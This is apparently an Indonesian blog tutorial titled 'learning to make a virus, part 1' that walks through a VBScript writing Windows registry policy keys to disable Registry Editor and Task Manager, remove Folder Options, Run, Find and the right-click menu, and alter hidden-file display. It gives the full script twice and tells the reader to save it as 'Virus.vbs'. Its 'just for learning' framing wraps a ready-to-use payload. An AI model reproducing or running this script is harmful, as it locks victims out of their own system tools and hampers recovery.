Belajar bikin virus part.1

Wew nie ada Sedikit tentang cara bikin virus vbs yg gw temukan dari searching2 ^^ sekedar untuk pembelajaran…
Ketik script ini pada Notepad (Klik Start>Program>Accessories>Notepad)



On Error Resume Next
-kode ini berfungsi untuk meneruskan ke kode berikutnya jika terjadi Error. Ini sering digunakan oleh para pembuat virus.

CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\System\DisableRegistryTools", "1", "REG_DWORD"
CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\System\DisableTaskMgr", "1", "REG_DWORD"
>> berfungsi untuk mendisable "Registry Editor" dan "Task Manager"

CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer\NoFolderOptions", "1", "REG_DWORD"
CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer\NoRun", "1", "REG_DWORD"

CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer\NoFind", "1", "REG_DWORD"
>> Ini digunakan untuk menghilangkan menu "Folder Options", "Run", dan "Find"

CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer\NoViewContextMenu", "1", "REG_DWORD"
>> Berfungsi untuk tidak menampilkan menu Klik Kanan.

CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer\Advanced\Hidden", "1", "REG_DWORD"
>> Tidak menampilkan "File Hidden" pada "Explorer"

* * *
maka akan tercipta script seperti berikut ini:

On Error Resume Next

CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\System\DisableRegistryTools", "1", "REG_DWORD"

CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\System\DisableTaskMgr", "1", "REG_DWORD"

CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer\NoFolderOptions", "1", "REG_DWORD"

CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer\NoRun", "1", "REG_DWORD"

CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer\NoFind", "1", "REG_DWORD"

CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer\NoViewContextMenu", "1", "REG_DWORD"

CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer\Advanced\Hidden", "1", "REG_DWORD"

* * *
Kemudian simpan dengan jenis vbs (*.vbs)
Caranya: klik File, pilih Save As, pada File Name ketik "Virus.vbs" (tanpa tanda petik), kemudian klik Save.
Selesai. . . sampai berjumpa di lain kesempatan